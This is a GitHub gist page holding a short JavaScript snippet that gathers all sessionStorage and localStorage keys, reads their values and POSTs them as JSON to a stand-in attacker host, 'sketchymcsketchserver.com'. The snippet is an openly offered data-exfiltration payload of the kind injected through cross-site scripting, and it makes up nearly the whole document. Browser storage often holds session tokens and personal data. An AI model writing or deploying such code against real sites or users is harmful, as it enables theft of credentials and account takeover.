Skip to content

Instantly share code, notes, and snippets.

@donrestarone
Last active December 16, 2021 11:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save donrestarone/1030ddde07cbff732a31b289eb51e922 to your computer and use it in GitHub Desktop.
Save donrestarone/1030ddde07cbff732a31b289eb51e922 to your computer and use it in GitHub Desktop.
find local storage and session storage data and send to a remote server
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => {
return {
key: k, value: sessionStorage.getItem(k)
}
})
console.log(storedItems);
let xhr = new XMLHttpRequest();
xhr.open("POST", 'https://sketchymcsketchserver.com', true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
console.log('storedItems sent!')
}
}
xhr.send(JSON.stringify(storedItems));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment